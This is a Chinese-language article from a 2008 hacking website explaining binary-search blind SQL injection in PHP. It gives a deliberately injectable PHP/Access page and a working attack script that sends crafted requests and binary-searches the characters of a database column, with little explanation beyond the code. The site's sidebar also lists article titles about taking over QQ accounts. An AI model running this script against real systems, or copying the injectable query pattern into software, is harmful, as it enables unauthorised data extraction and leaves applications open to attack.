首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
PHP二分法注射猜解
作者:佚名  来源:转载  发布时间:2008-10-8 0:07:59  发布人:黑客动画吧

减小字体 增大字体

来源:wolvez
b.php

PHP代码
  1. <?php   
  2. $conn = new com("ADODB.Connection");   
  3. $connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("data.mdb");   
  4.   
  5. $conn->Open($connstr);   
  6. $rs = new com("ADODB.RecordSet");   
  7. $sql="select * from news where id=".$_GET[id];   
  8. $rs->Open($sql,$conn,1,1);   
  9. if(! $rs->eof) {   
  10. echo "{ok}";   
  11. } else{   
  12. echo "{no}";   
  13. }   
  14. ?>  

存在注射的。但是没有输出结果,只是判断是否存在。

PHP代码
  1. <?php   
  2.   
  3. error_reporting(7);   
  4. ini_set('max_execution_time', 0);   
  5.   
  6. function send(){   
  7. global $host,$cmd;   
  8. //$cmd .= "";   
  9. $message = "GET /b.php?id=".$cmd." HTTP/1.1\r\n";   
  10. $message .= "Accept: */*\r\n";   
  11. $message .= "Accept-Language: zh-cn\r\n";   
  12. $message .= "Content-Type: application/x-www-form-urlencoded\r\n";   
  13. $message .= "Host: $host\r\n";   
  14. $message .= "Connection: Close\r\n\r\n";   
  15.   
  16. $fp = fsockopen($host, 80);   
  17. fputs($fp, $message);   
  18.   
  19. $resp = '';   
  20.   
  21. while ($fp && !feof($fp))   
  22. $resp .= fread($fp, 1024);   
  23. preg_match('/\{ok\}/', $resp, $pre);   
  24. if ($pre) return true;   
  25. }   
  26.   
  27. function Binsearch($sql){   
  28. global $cmd;   
  29. $low="32";   
  30. $high="128";   
  31. while($low<=$high){   
  32. $mid=intval(($low+$high)/2);   
  33. $cmd= $sql."=".$mid;   
  34. echo "$mid";   
  35. if(send()){echo "Lucky\r\n";return $mid;}   
  36. $cmd= $sql."<".$mid;   
  37. if(send()){   
  38. $high=$mid-1;   
  39. echo "Bigger\r\n";   
  40. }else{   
  41. $low=$mid+1;   
  42. echo "Smaller\r\n";   
  43. }   
  44. }   
  45. return(-1);   
  46. }   
  47.   
  48. $host="127.0.0.1:8080";   
  49. $sql="15%20and%20asc(left(name,1))";   
  50. echo Binsearch($sql);   
  51. ?>  
[ ] [返回上一页] [打 印] [收 藏]
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .